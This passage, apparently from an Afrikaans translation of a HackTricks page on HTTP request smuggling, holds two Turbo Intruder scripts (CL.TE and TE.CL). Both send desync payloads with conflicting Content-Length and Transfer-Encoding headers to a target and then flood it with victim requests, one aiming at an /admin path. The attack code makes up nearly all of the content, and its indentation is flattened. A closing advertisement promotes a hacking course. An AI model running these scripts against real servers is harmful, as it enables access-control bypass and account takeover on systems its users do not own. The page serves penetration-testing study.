  • Aanvraag Smokkel in HTTP/2 Afbreek

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo indringer skripte

CL.TE

Van https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Gereedskap

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: